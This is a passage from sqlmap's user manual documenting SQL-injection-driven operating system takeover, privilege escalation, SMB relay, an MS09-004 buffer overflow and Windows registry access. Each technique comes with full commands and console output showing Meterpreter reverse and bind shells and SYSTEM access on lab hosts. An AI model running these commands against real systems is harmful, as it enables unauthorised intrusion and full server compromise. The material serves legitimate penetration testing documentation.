|
<p>
|
|
Example on a <bf>MySQL 5.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mysql/get_int_51.aspx?id=1" \
|
|
--os-pwn -v 1 --msf-path /home/inquis/software/metasploit
|
|
|
|
[...]
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:09] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:09] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:09] [INFO] retrieved: 5.1.30
|
|
[hh:mm:18] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:18] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:18] [INFO] retrieved: C
|
|
[hh:mm:19] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:19] [INFO] testing if current user is DBA
|
|
[hh:mm:19] [INFO] retrieved: 1
|
|
[hh:mm:20] [INFO] checking if UDF 'sys_bineval' already exist
|
|
[hh:mm:20] [INFO] retrieved: 0
|
|
[hh:mm:21] [INFO] checking if UDF 'sys_exec' already exist
|
|
[hh:mm:21] [INFO] retrieved: 0
|
|
[hh:mm:21] [INFO] retrieving MySQL base directory absolute path
|
|
[hh:mm:21] [INFO] retrieved: C:\Program Files\MySQL\MySQL Server 5.1\
|
|
[hh:mm:46] [WARNING] this will only work if the database administrator created manually
|
|
the 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin' subfolder
|
|
[hh:mm:47] [INFO] creating UDF 'sys_bineval' from the binary UDF file
|
|
[hh:mm:47] [INFO] creating UDF 'sys_exec' from the binary UDF file
|
|
how do you want to execute the Metasploit shellcode on the back-end database underlying
|
|
operating system?
|
|
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
|
|
[2] Stand-alone payload stager (file system way)
|
|
> 1
|
|
[hh:mm:51] [INFO] creating Metasploit Framework 3 multi-stage shellcode
|
|
which connection type do you want to use?
|
|
[1] Reverse TCP: Connect back from the database host to this machine (default)
|
|
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
|
|
between the specified and 65535
|
|
[3] Bind TCP: Listen on the database host for a connection
|
|
> 1
|
|
which is the local address? [172.16.213.1]
|
|
which local port number do you want to use? [47776]
|
|
which payload do you want to use?
|
|
[1] Meterpreter (default)
|
|
[2] Shell
|
|
[3] VNC
|
|
> 1
|
|
[hh:mm:55] [INFO] creation in progress .............................................. done
|
|
[hh:mm:41] [INFO] running Metasploit Framework 3 command line interface locally, wait..
|
|
[*] Please wait while we load the module tree...
|
|
[*] Started reverse handler on 172.16.213.1:47776
|
|
[*] Starting the payload handler...
|
|
[hh:mm:22] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', wait..
|
|
[*] Sending stage (748032 bytes)
|
|
[*] Meterpreter session 1 opened (172.16.213.1:47776 -> 172.16.213.128:2176)
|
|
|
|
meterpreter > Loading extension espia...success.
|
|
meterpreter > Loading extension incognito...success.
|
|
meterpreter > Loading extension priv...success.
|
|
meterpreter > Loading extension sniffer...success.
|
|
meterpreter > Computer: W2K3DEV
|
|
OS : Windows .NET Server (Build 3790, Service Pack 2).
|
|
Arch : x86
|
|
Language: en_US
|
|
meterpreter > Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > ipconfig
|
|
|
|
MS TCP Loopback interface
|
|
Hardware MAC: 00:00:00:00:00:00
|
|
IP Address : 127.0.0.1
|
|
Netmask : 255.0.0.0
|
|
|
|
|
|
|
|
VMware Accelerated AMD PCNet Adapter #2
|
|
Hardware MAC: 00:0c:29:86:69:1b
|
|
IP Address : 172.16.213.128
|
|
Netmask : 255.255.255.0
|
|
|
|
|
|
meterpreter > exit
|
|
|
|
[hh:mm:52] [INFO] cleaning up the database management system
|
|
do you want to remove UDF 'sys_bineval'? [Y/n]
|
|
do you want to remove UDF 'sys_exec'? [Y/n]
|
|
[hh:mm:54] [INFO] database management system cleanup finished
|
|
[hh:mm:54] [WARNING] remember that UDF dynamic-link library files and Metasploit related
|
|
files in the temporary folder saved on the file system can only be deleted manually
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
By default MySQL on Windows runs as <tt>SYSTEM</tt>, however PostgreSQL
|
|
runs as a low-privileged user <tt>postgres</tt> on both Windows and Linux.
|
|
Microsoft SQL Server 2000 by default runs as <tt>SYSTEM</tt>, whereas
|
|
Microsoft SQL Server 2005 and 2008 run most of the times as <tt>NETWORK
|
|
SERVICE</tt> and sometimes as <tt>LOCAL SERVICE</tt>.
|
|
|
|
It is possible to provide sqlmap with the <tt>-</tt><tt>-priv-esc</tt>
|
|
option to perform a <bf>database process' user privilege escalation</bf>
|
|
via Metasploit's <tt>getsystem</tt> command which include, among others,
|
|
the <htmlurl
|
|
url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html"
|
|
name="kitrap0d"> technique (<htmlurl
|
|
url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx"
|
|
name="MS10-015">) or via <htmlurl
|
|
url="http://www.argeniss.com/research/TokenKidnapping.pdf"
|
|
name="Windows Access Tokens kidnapping"> by using Meterpreter's
|
|
<htmlurl url="http://sourceforge.net/projects/incognito/"
|
|
name="incognito"> extension.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> running as
|
|
<tt>NETWORK SERVICE</tt> on the target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1" \
|
|
--os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc
|
|
|
|
[...]
|
|
web server operating system: Windows 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:47] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:52] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:52] [INFO] testing if current user is DBA
|
|
[hh:mm:52] [INFO] retrieved: 1
|
|
[hh:mm:52] [INFO] checking if xp_cmdshell extended procedure is available, wait..
|
|
[hh:mm:01] [INFO] xp_cmdshell extended procedure is available
|
|
[hh:mm:01] [INFO] creating Metasploit Framework 3 payload stager
|
|
which connection type do you want to use?
|
|
[1] Reverse TCP: Connect back from the database host to this machine (default)
|
|
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
|
|
between the specified and 65535
|
|
[3] Bind TCP: Listen on the database host for a connection
|
|
> 1
|
|
which is the local address? [172.16.213.1]
|
|
which local port number do you want to use? [44780]
|
|
[hh:mm:52] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload
|
|
that can be used to escalate privileges, either via 'incognito' extension or via
|
|
'getsystem' command
|
|
which payload encoding do you want to use?
|
|
[1] No Encoder
|
|
[2] Alpha2 Alphanumeric Mixedcase Encoder
|
|
[3] Alpha2 Alphanumeric Uppercase Encoder
|
|
[4] Avoid UTF8/tolower
|
|
[5] Call+4 Dword XOR Encoder
|
|
[6] Single-byte XOR Countdown Encoder
|
|
[7] Variable-length Fnstenv/mov Dword XOR Encoder
|
|
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
|
|
[9] Non-Alpha Encoder
|
|
[10] Non-Upper Encoder
|
|
[11] Polymorphic XOR Additive Feedback Encoder (default)
|
|
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
|
|
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
|
|
>
|
|
[hh:mm:53] [INFO] creation in progress ..... done
|
|
[hh:mm:58] [INFO] compression in progress . done
|
|
[hh:mm:59] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/tmpmqyws.exe'
|
|
[hh:mm:05] [INFO] running Metasploit Framework 3 command line interface locally, wait..
|
|
[*] Please wait while we load the module tree...
|
|
[*] Started reverse handler on 172.16.213.1:44780
|
|
[*] Starting the payload handler...
|
|
[hh:mm:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
|
|
[*] Sending stage (748032 bytes)
|
|
[*] Meterpreter session 1 opened (172.16.213.1:44780 -> 172.16.213.128:2185)
|
|
|
|
meterpreter >
|
|
[hh:mm:34] [INFO] trying to escalate privileges using Meterpreter 'getsystem' command which
|
|
tries different techniques, including kitrap0d
|
|
[hh:mm:34] [INFO] displaying the list of Access Tokens availables. Choose which user you
|
|
want to impersonate by using incognito's command 'impersonate_token' if 'getsystem' did not
|
|
success to elevate privileges
|
|
Loading extension espia...success.
|
|
meterpreter > Loading extension incognito...success.
|
|
meterpreter > Loading extension priv...success.
|
|
meterpreter > Loading extension sniffer...success.
|
|
meterpreter > Computer: W2K3DEV
|
|
OS : Windows .NET Server (Build 3790, Service Pack 2).
|
|
Arch : x86
|
|
Language: en_US
|
|
meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
|
|
meterpreter > ...got system (via technique 4).
|
|
meterpreter >
|
|
Delegation Tokens Available
|
|
========================================
|
|
NT AUTHORITY\LOCAL SERVICE
|
|
NT AUTHORITY\NETWORK SERVICE
|
|
NT AUTHORITY\SYSTEM
|
|
W2K3DEV\Administrator
|
|
W2K3DEV\IUSR_W2K3STENSP0
|
|
W2K3DEV\postgres
|
|
|
|
Impersonation Tokens Available
|
|
========================================
|
|
NT AUTHORITY\ANONYMOUS LOGON
|
|
|
|
meterpreter > Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > ipconfig
|
|
|
|
MS TCP Loopback interface
|
|
Hardware MAC: 00:00:00:00:00:00
|
|
IP Address : 127.0.0.1
|
|
Netmask : 255.0.0.0
|
|
|
|
|
|
|
|
VMware Accelerated AMD PCNet Adapter #2
|
|
Hardware MAC: 00:0c:29:86:69:1b
|
|
IP Address : 172.16.213.128
|
|
Netmask : 255.255.255.0
|
|
|
|
|
|
meterpreter > getuid
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > exit
|
|
|
|
[hh:mm:52] [INFO] cleaning up the database management system
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>One click prompt for an out-of-band shell, meterpreter or VNC
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-os-smbrelay</tt>, <tt>-</tt><tt>-priv-esc</tt> and <tt>-</tt><tt>-msf-path</tt>
|
|
|
|
<p>
|
|
If the back-end database management system runs on Windows as
|
|
<tt>Administrator</tt> and the system is not patched against Microsoft
|
|
Security Bulletin <htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx"
|
|
name="MS08-068">, sqlmap can abuse the universal naming convention (UNC)
|
|
feature within any database management system to force the database server
|
|
to initiate a SMB connection with the attacker host, then perform a SMB
|
|
authentication relay attack in order to establish a high-privileged
|
|
<bf>out-of-band TCP stateful channel</bf> between the attacker host and
|
|
the target database server.
|
|
sqlmap relies on <htmlurl url="http://metasploit.com/framework"
|
|
name="Metasploit">'s SMB relay exploit to perform this attack.
|
|
You need to run sqlmap as a privileged user (e.g. <bf>root</bf>) if you
|
|
want to perform a SMB relay attack because it will need to listen on a
|
|
user-specified SMB TCP port for incoming connection attempts.
|
|
|
|
<p>
|
|
Note that this feature is not supported by sqlmap running on Windows
|
|
platform because it relies on Metasploit's <tt>msfpayload</tt> which is
|
|
not fully working on Windows.
|
|
|
|
<p>
|
|
This technique is detailed in the white paper
|
|
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"
|
|
name="Advanced SQL injection to operating system full control">.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> running as
|
|
<tt>Administrator</tt> on the target:
|
|
|
|
<tscreen><verb>
|
|
$ sudo python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
|
|
--os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit
|
|
|
|
[...]
|
|
[hh:mm:11] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Windows 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:11] [INFO] testing stacked queries support on parameter 'name'
|
|
[hh:mm:16] [INFO] the web application supports stacked queries on parameter 'name'
|
|
[hh:mm:16] [WARNING] it is unlikely that this attack will be successful because often
|
|
Microsoft SQL Server 2005 runs as Network Service which is not a real user, it does not
|
|
send the NTLM session hash when connecting to a SMB service
|
|
[hh:mm:16] [INFO] which connection type do you want to use?
|
|
[1] Bind TCP (default)
|
|
[2] Bind TCP (No NX)
|
|
[3] Reverse TCP
|
|
[4] Reverse TCP (No NX)
|
|
> 1
|
|
[hh:mm:16] [INFO] which is the local address? [172.16.213.161] 172.16.213.161
|
|
[hh:mm:16] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
|
|
[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
|
|
[hh:mm:16] [INFO] which payload do you want to use?
|
|
[1] Meterpreter (default)
|
|
[2] Shell
|
|
[3] VNC
|
|
> 1
|
|
[hh:mm:16] [INFO] which SMB port do you want to use?
|
|
[1] 139/TCP (default)
|
|
[2] 445/TCP
|
|
> 1
|
|
[hh:mm:16] [INFO] running Metasploit Framework 3 console locally, wait..
|
|
|
|
_ _ _ _
|
|
| | | | (_) |
|
|
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
|
|
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
|
|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|
|
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
|
|
| |
|
|
|_|
|
|
|
|
|
|
=[ msf v3.3-dev
|
|
+ -- --=[ 392 exploits - 234 payloads
|
|
+ -- --=[ 20 encoders - 7 nops
|
|
=[ 168 aux
|
|
|
|
resource> use windows/smb/smb_relay
|
|
resource> set SRVHOST 172.16.213.161
|
|
SRVHOST => 172.16.213.161
|
|
resource> set SRVPORT 139
|
|
SRVPORT => 139
|
|
resource> set PAYLOAD windows/meterpreter/bind_tcp
|
|
PAYLOAD => windows/meterpreter/bind_tcp
|
|
resource> set LPORT 4907
|
|
LPORT => 4907
|
|
resource> set RHOST 172.16.213.131
|
|
RHOST => 172.16.213.131
|
|
resource> exploit
|
|
[*] Exploit running as background job.
|
|
msf exploit(smb_relay) >
|
|
[*] Started bind handler
|
|
[*] Server started.
|
|
[*] Received 172.16.213.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
|
|
Service Pack 2 LM:
|
|
[*] Sending Access Denied to 172.16.213.131:3242 \
|
|
[*] Received 172.16.213.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
|
|
Server 2003 3790 Service Pack 2 LM:
|
|
[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
|
|
[*] AUTHENTICATED as W2K3DEV\Administrator...
|
|
[*] Connecting to the ADMIN$ share...
|
|
[*] Regenerating the payload...
|
|
[*] Uploading payload...
|
|
[*] Created \wELRmcmd.exe...
|
|
[*] Connecting to the Service Control Manager...
|
|
[*] Obtaining a service manager handle...
|
|
[*] Creating a new service...
|
|
[*] Closing service handle...
|
|
[*] Opening service...
|
|
[*] Starting the service...
|
|
[*] Removing the service...
|
|
[*] Closing service handle...
|
|
[*] Deleting \wELRmcmd.exe...
|
|
[*] Sending Access Denied to 172.16.213.131:3242 W2K3DEV\Administrator
|
|
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
|
|
[*] Received 172.16.213.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
|
|
Service Pack 2 LM:
|
|
[*] Sending Access Denied to 172.16.213.131:3244 \
|
|
[*] Received 172.16.213.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
|
|
Server 2003 3790 Service Pack 2 LM:
|
|
[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
|
|
[*] AUTHENTICATED as W2K3DEV\Administrator...
|
|
[*] Ignoring request from 172.16.213.131, attack already in progress.
|
|
[*] Sending Access Denied to 172.16.213.131:3244 W2K3DEV\Administrator
|
|
[*] Sending stage (718336 bytes)
|
|
[*] Meterpreter session 1 opened (172.16.213.161:51813 -> 172.16.213.131:4907)
|
|
|
|
Active sessions
|
|
===============
|
|
|
|
Id Description Tunnel
|
|
-- ----------- ------
|
|
1 Meterpreter 172.16.213.161:51813 -> 172.16.213.131:4907
|
|
|
|
msf exploit(smb_relay) > [*] Starting interaction with 1...
|
|
|
|
meterpreter > [-] The 'priv' extension has already been loaded.
|
|
meterpreter > getuid
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > exit
|
|
|
|
[*] Meterpreter session 1 closed.
|
|
msf exploit(smb_relay) > exit
|
|
|
|
[*] Server stopped.
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Database stored procedure heap-based buffer overflow exploit
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-os-bof</tt>, <tt>-</tt><tt>-priv-esc</tt> and <tt>-</tt><tt>-msf-path</tt>
|
|
|
|
<p>
|
|
If the back-end database management system is Microsoft SQL Server not
|
|
patched against Microsoft Security Bulletin
|
|
<htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx"
|
|
name="MS09-004">, sqlmap can exploit the heap-based buffer overflow
|
|
affecting <tt>sp_replwritetovarbin</tt> stored procedure in order to
|
|
establish an <bf>out-of-band TCP stateful channel</bf> between the
|
|
attacker host and the target database server.
|
|
sqlmap has its own exploit to trigger the vulnerability, but it relies on
|
|
<htmlurl url="http://metasploit.com/framework" name="Metasploit"> to
|
|
generate the shellcode used within the exploit.
|
|
|
|
<p>
|
|
Note that this feature is not supported by sqlmap running on Windows
|
|
platform because it relies on Metasploit's <tt>msfcli</tt> which is not
|
|
available for Windows.
|
|
|
|
<p>
|
|
This technique is detailed in the white paper
|
|
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"
|
|
name="Advanced SQL injection to operating system full control"> and in the
|
|
slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database"
|
|
name="Expanding the control over the operating system from the database">.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1 \
|
|
--os-bof -v 1 --msf-path ~/software/metasploit
|
|
|
|
[...]
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:51] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:56] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:56] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin'
|
|
stored procedure heap-based buffer overflow (MS09-004)
|
|
[hh:mm:56] [INFO] fingerprinting the back-end DBMS operating system version and service pack
|
|
[hh:mm:56] [INFO] retrieved: 1
|
|
[hh:mm:58] [INFO] retrieved: 1
|
|
[hh:mm:58] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
|
|
[hh:mm:58] [INFO] creating Metasploit Framework 3 multi-stage shellcode
|
|
which connection type do you want to use?
|
|
[1] Reverse TCP: Connect back from the database host to this machine (default)
|
|
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
|
|
between the specified and 65535
|
|
[3] Bind TCP: Listen on the database host for a connection
|
|
>
|
|
which is the local address? [172.16.213.1]
|
|
which local port number do you want to use? [21380]
|
|
which payload do you want to use?
|
|
[1] Meterpreter (default)
|
|
[2] Shell
|
|
[3] VNC
|
|
>
|
|
which payload encoding do you want to use?
|
|
[1] No Encoder
|
|
[2] Alpha2 Alphanumeric Mixedcase Encoder
|
|
[3] Alpha2 Alphanumeric Uppercase Encoder
|
|
[4] Avoid UTF8/tolower
|
|
[5] Call+4 Dword XOR Encoder
|
|
[6] Single-byte XOR Countdown Encoder
|
|
[7] Variable-length Fnstenv/mov Dword XOR Encoder
|
|
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
|
|
[9] Non-Alpha Encoder
|
|
[10] Non-Upper Encoder
|
|
[11] Polymorphic XOR Additive Feedback Encoder (default)
|
|
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
|
|
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
|
|
>
|
|
[hh:mm:16] [INFO] creation in progress .... done
|
|
[hh:mm:20] [INFO] running Metasploit Framework 3 command line interface locally, wait..
|
|
[*] Please wait while we load the module tree...
|
|
[*] Started reverse handler on 172.16.213.1:21380
|
|
[*] Starting the payload handler...
|
|
[hh:mm:27] [INFO] triggering the buffer overflow vulnerability, wait..
|
|
[*] Sending stage (748032 bytes)
|
|
[*] Meterpreter session 1 opened (172.16.213.1:21380 -> 172.16.213.128:12062)
|
|
|
|
meterpreter > Loading extension espia...success.
|
|
meterpreter > Loading extension incognito...success.
|
|
meterpreter > Loading extension priv...success.
|
|
meterpreter > Loading extension sniffer...success.
|
|
meterpreter > Computer: W2K3DEV
|
|
OS : Windows .NET Server (Build 3790, Service Pack 2).
|
|
Arch : x86
|
|
Language: en_US
|
|
meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
|
|
meterpreter > ipconfig
|
|
|
|
MS TCP Loopback interface
|
|
Hardware MAC: 00:00:00:00:00:00
|
|
IP Address : 127.0.0.1
|
|
Netmask : 255.0.0.0
|
|
|
|
|
|
|
|
VMware Accelerated AMD PCNet Adapter #2
|
|
Hardware MAC: 00:0c:29:86:69:1b
|
|
IP Address : 172.16.213.128
|
|
Netmask : 255.255.255.0
|
|
|
|
|
|
meterpreter > exit
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect1>Windows registry access
|
|
|
|
<p>
|
|
It is possible to access Windows registry when the back-end
|
|
database management system is either MySQL, PostgreSQL or
|
|
Microsoft SQL Server, and when the underlying database layer
|
|
supports stacked SQL queries. Also, session user has to have
|
|
the needed privileges to access it.
|
|
|
|
<sect2>Read a Windows registry key value
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-reg-read</tt>
|
|
|
|
<p>
|
|
Using this option you can read registry key values.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.4</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-read
|
|
|
|
[...]
|
|
web server operating system: Windows
|
|
web application technology: PHP 5.3.1, Apache 2.2.14
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:15] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:15] [INFO] retrieved: 8.4.2,
|
|
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:23] [INFO] retrieved: 1
|
|
[hh:mm:23] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:23] [INFO] testing if current user is DBA
|
|
[hh:mm:23] [INFO] retrieved: 1
|
|
[hh:mm:23] [INFO] checking if UDF 'sys_eval' already exist
|
|
[hh:mm:23] [INFO] retrieved: 0
|
|
[hh:mm:24] [INFO] checking if UDF 'sys_exec' already exist
|
|
[hh:mm:24] [INFO] retrieved: 0
|
|
[hh:mm:25] [INFO] creating UDF 'sys_eval' from the binary UDF file
|
|
[hh:mm:25] [INFO] creating UDF 'sys_exec' from the binary UDF file
|
|
which registry key do you want to read? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
|
|
CurrentVersion]
|
|
which registry key value do you want to read? [ProductName]
|
|
[hh:mm:34] [INFO] reading Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
|
|
Windows NT\CurrentVersion\ProductName'
|
|
[hh:mm:35] [INFO] retrieved: ProductName REG_SZ Microsoft Windows XP
|
|
Registry key value data: 'ProductName REG_SZ Microsoft Windows XP'
|
|
</verb></tscreen>
|
|
|
|
<sect2>Write a Windows registry key value
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-reg-add</tt>
|
|
|
|
<p>
|
|
Using this option you can write registry key values.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.4</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add
|
|
|
|
[...]
|
|
web server operating system: Windows
|
|
web application technology: PHP 5.3.1, Apache 2.2.14
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:20] [INFO] retrieved: 8.4.2,
|
|
[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:29] [INFO] retrieved: 1
|
|
[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:30] [INFO] testing if current user is DBA
|
|
[hh:mm:30] [INFO] retrieved: 1
|
|
[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
|
|
[hh:mm:30] [INFO] retrieved: 0
|
|
[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
|
|
which registry key do you want to write? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
|
|
which registry key value do you want to write? Test
|
|
which registry key value data do you want to write? 1
|
|
which registry key value data-type is it? [REG_SZ] REG_DWORD
|
|
[hh:mm:41] [INFO] adding Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'
|
|
with data '1'. This will work only if the user running the database process has privileges
|
|
to modify the Windows registry.
|
|
</verb></tscreen>
|
|
|
|
<sect2>Delete a Windows registry key
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-reg-del</tt>
|
|
|
|
<p>
|
|
Using this option you can delete registry keys.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.4</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-del
|
|
|
|
[...]
|
|
web server operating system: Windows
|
|
web application technology: PHP 5.3.1, Apache 2.2.14
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:20] [INFO] retrieved: 8.4.2,
|
|
[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:29] [INFO] retrieved: 1
|
|
[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:30] [INFO] testing if current user is DBA
|
|
[hh:mm:30] [INFO] retrieved: 1
|
|
[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
|
|
[hh:mm:30] [INFO] retrieved: 0
|
|
[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
|
|
which registry key do you want to delete? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
|
|
which registry key value do you want to delete? Test
|
|
are you sure that you want to delete the Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\
|
|
sqlmap\Test? [y/N] y
|
|
[hh:mm:26] [INFO] deleting Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'.
|
|
This will work only if the user running the database process has privileges to modify the
|
|
Windows registry.
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Auxiliary registry switches
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-reg-key</tt>, <tt>-</tt><tt>-reg-value</tt>,
|
|
<tt>-</tt><tt>-reg-data</tt> and <tt>-</tt><tt>-reg-type</tt>
|
|
|
|
<p>
|
|
These switches can be used to provide data needed for proper running of
|
|
options <tt>-</tt><tt>-reg-read</tt>, <tt>-</tt><tt>-reg-add</tt> and
|
|
<tt>-</tt><tt>-reg-del</tt>. So, instead of providing registry key
|
|
information when asked, you can use them at command prompt as program
|
|
arguments.
|
|
|
|
<p>
|
|
With <tt>-</tt><tt>-reg-key</tt> option you specify used windows
|
|
registry key path, with <tt>-</tt><tt>-reg-value</tt> value item
|
|
name inside provided key, with <tt>-</tt><tt>-reg-data</tt> value
|
|
data, while with <tt>-</tt><tt>-reg-type</tt> option you specify
|
|
type of the value item.
|
|
|
|
<p>
|
|
So, another way of running example from option
|
|
<tt>-</tt><tt>-reg-add</tt> could be:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add \
|
|
--reg-key=HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap --reg-value=Test --reg-type=REG_SZ --reg-data=1
|
|
</verb></tscreen>
|
|
|
|
<sect1>Miscellaneous
|
|
|
|
<sect2>Session file: save and resume all data retrieved
|
|
|
|
<p>
|
|
Option: <tt>-s</tt>
|
|
|
|
<p>
|
|
By default sqlmap logs all queries and their output into a text file while
|
|
performing whatever request, both in blind SQL injection and in inband SQL
|
|
injection.
|
|
This is useful if you stop the injection and resume it after some time.
|
|
|
|
<p>
|
|
